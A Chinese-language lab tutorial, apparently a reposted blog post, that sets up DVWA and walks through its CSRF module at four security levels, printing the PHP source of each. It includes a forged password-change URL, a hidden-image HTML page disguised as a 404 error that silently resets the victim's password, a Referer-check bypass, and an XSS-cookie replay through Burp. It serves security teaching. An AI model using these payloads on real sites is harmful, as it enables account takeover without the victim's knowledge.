DVWA-CSRF漏洞

简介

DVWA是一款渗透测试的演练系统,在圈子里是很出名的。如果你需要入门,并且找不到合适的靶机,那我就推荐你用DVWA。

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA的十大模块

DVWA共有十个模块,分别是:

(1)Brute Force(暴力(破解))
(2)Command Injection(命令行注入)
(3)CSRF(跨站请求伪造)
(4)File Inclusion(文件包含)
(5)File Upload(文件上传)
(6)Insecure CAPTCHA (不安全的验证码)
(7)SQL Injection(SQL注入)
(8)SQL Injection(Blind)(SQL盲注)
(9)XSS(Reflected)(反射型跨站脚本)
(10)XSS(Stored)(存储型跨站脚本)

需要注意的是,DVWA 1.9的代码分为四种安全别:Low,Medium,High,Impossible。我们可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

DVWA的漏洞列表

DVMA正如他的名字一样是一个包含了很多漏洞的应用系统。DVWA的漏洞包括了OWASP oepen web application security project的web 10大漏洞。DVWA里面具体包括如下这些漏洞:

(1)暴力破解漏洞通过brute force登录页面进入到该漏洞的测试位置。这个漏洞是用来测试暴力破解工具和展示不安全的弱密码。
(2)命令执行漏洞在存在风险的系统上执行命令。
(3)CSRF伪造跨站请求漏洞,允许攻击者去修改应用的管理员密码。
(4)SQL注入,DVWA包括盲注和错误型注入两种SQL注入漏洞类型。
(5)不安全的文件上传漏洞,允许攻击者上传恶意的文件到web服务器上
(6)XSS跨站脚本漏洞,允许攻击者注入他们自己的脚本到web服务器上。DVWA系统里面包含了反射性XSS和存储型XSS两种类型。
(7)文件包含漏洞,允许进行本地文件包含执行和远程文件包含执行。
(8)验证码绕过。

DVWA的搭建

1、下载phpStudy http://phpstudy.php.cn/
phpStudy是集成了Apache和MySql的集成环境,下载好安装phpStudy。

2、运行时若显示缺少VC运行库:
32位的VC9:http://www.microsoft.com/zh-CN/download/details.aspx?id=5582
64位的VC9:http://www.microsoft.com/zh-CN/download/details.aspx?id=15336

3、安装好后运行 http://127.0.0.1:8088/ 看是否可以出现“hello word"界面(需要修改默认端口80改为8088)

4、下载DVWA http://www.dvwa.co.uk/ 下载后解压,放到phpStudy的WWW目录之下。

5、配置一下相关文件首先最好先配置一下phpStudy的数据库密码。修改后将DVWA/confing下的config.inc.php.dist修改为config.inc.php,找到其中的把原来的db_password改为刚设置的。

6、修改成功后访问 http://127.0.0.1:8088/DVWA/index.php 然后创建数据库。创建好了若没有问题便会自动跳转至登陆界面,默认账号/密码:admin/password

参考教程
(1)https://www.cnblogs.com/ECJTUACM-873284962/p/7784508.html
(2)https://blog.csdn.net/biobby/article/details/81213894
(3)如果遇到无法连接数据库的情况,解决方案:https://blog.csdn.net/qq_41631096/article/details/83301865

CSRF实验

CSRF(Cross-site request forgery),跨站请求伪造,简写 CSRF/XSRF。

指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

LOW 安全级别

首先我们把安全级别设置为Low级别,然后服务器端源代码如下

<?php 
  if( isset( $_GET[ 'Change' ] ) ) { 
     // Get input 
     $pass_new  = $_GET[ 'password_new' ]; 
     $pass_conf = $_GET[ 'password_conf' ]; 
 
     // Do the passwords match? 
     if( $pass_new == $pass_conf ) { 
         // They do! 
         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
         $pass_new = md5( $pass_new ); 
 
         // Update the database 
         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 
 
         // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 
 
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
 }  
?>

附:以上代码的查看方式为:在DVWA的安装目录下打开相应的网页资源文件。
在这里插入图片描述
从系统源码可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制。即:

DVWA系统的Low级别的CSRF漏洞,无需确认原始密码,只需要用户在cookie还有效的时间内在相同的浏览器访问我们给定的URL,就可以实现CSRF攻击,修改用户密码,所以这里存在CSRF漏洞。

【漏洞利用】
在这里插入图片描述
注意:成功修改密码后,URL发生了变化。
在这里插入图片描述低级攻击

所以,我们可以直接通过构造链接,诱导用户点击以下链接即可实现密码更改:

http://127.0.0.1:8088/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

但是这样很拙劣……一眼就可以看出来,而且会跳转到提示密码更改成功的页面。在做渗透测试的时候可以用,但是实际的攻击中一般情况下是不会攻击成功的。

进阶攻击

那么咱们怎样才能诱导用户点击这个URL呢?我们已经可以预测所有参数,现在需要去构造请求。生成 text.html 文件(编写POC文件),搭建在攻击者的服务器上(127.0.0.1):

<img src="http://127.0.0.1:8088/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>
<h1>
   404 ERROR!
<h1>
<h2>
   Files Not Found.
<h2>

存储位置为:D:\SoftWare\PhpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\csrf
在这里插入图片描述
然后访问诱骗用户点击这个页面的链接(http://127.0.0.1:8088/DVWA/vulnerabilities/csrf/test.html):
在这里插入图片描述 用户会看到一个类似404的错误页面,但是用户却不知道自己的密码已经悄悄被人修改了!!!

Medium 安全级别

首先我们把安全级别设置为Medium级别。查看服务器端源代码:

<?php  
if( isset( $_GET[ 'Change' ] ) ) { 
    // Checks to see where the request came from 
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ];  
        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
            $pass_new = md5( $pass_new );  
            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  
            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    } 
    else { 
        // Didn't come from a trusted source 
        echo "<pre>That request didn't look correct.</pre>"; 
    }  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 
 
?>

通过对源代码进行分析,我们可以知道Medium端主要的防御措施是通过if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )ersgi( )函数来检查 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是127.0.0.1:8088),希望通过这种机制抵御CSRF攻击。

在这里插入图片描述由于我们前面构造的网页(test.html)就是在本机上,所以其Referer中就已经包含了DVWA平台的主机号。那如果是在另外的地方搭建的网页,我们也可以进行绕过,比如我们可以将构造的文件的名字更改为对方主机名即可,比如127.0.0.1:8088.html

High 安全级别

我们同样以正常用户的操作先进行一遍操作,发现密码修改后,URL中新增了一个参数即user_token参数

http://127.0.0.1:8088/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=7abdd97210f40fbf763ffee206c26b9b#

我们来看下服务器端源代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

通过源代码分析我们可以看到:

该模块中加入了Anti-CSRF token来防范CSRF攻击,同时每次随机生成了一个token,当用户提交的时候,在服务器端比对一下token值是否正确,不正确就丢弃掉,正确就验证通过。

漏洞利用

这个安全等级,自己主要是利用了DVWA的XSS漏洞和CSRF漏洞共同完成的:

(1)我们找到DVWA的XSS模块,通过XSS漏洞获取浏览器cookie:
在这里插入图片描述
(2)返回DVWA的CSRF模块,向输入框中输入任意你想要修改的密码,通过BrupSuite进行拦截,获取数据包并把数据包发送到Repeater模块:
在这里插入图片描述(3)把通过XSS漏洞获取的cookie直接粘贴到这个数据包中,通过brupSuite对数据包进行篡改,发送,修改密码:
在这里插入图片描述至此,密码更改成功!

Impossible 安全级别

把安全级别设置为Impossible级别。查看源代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_curr = $_GET[ 'password_current' ];
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Sanitise current password input
	$pass_curr = stripslashes( $pass_curr );
	$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass_curr = md5( $pass_curr );

	// Check that the current password is correct
	$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
	$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
	$data->execute();

	// Do both new passwords match and does the current password match the user?
	if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
		// It does!
		$pass_new = stripslashes( $pass_new );
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update database with new password
		$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
		$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
		$data->execute();

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

通过源代码分析我们可以看到:Impossiable端代码添加了一个输入原来密码的操作,这样我们一开始不知道密码的情况下是不可能修改密码的,所以有效的防御了CSRF攻击。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_39190897/article/details/86766880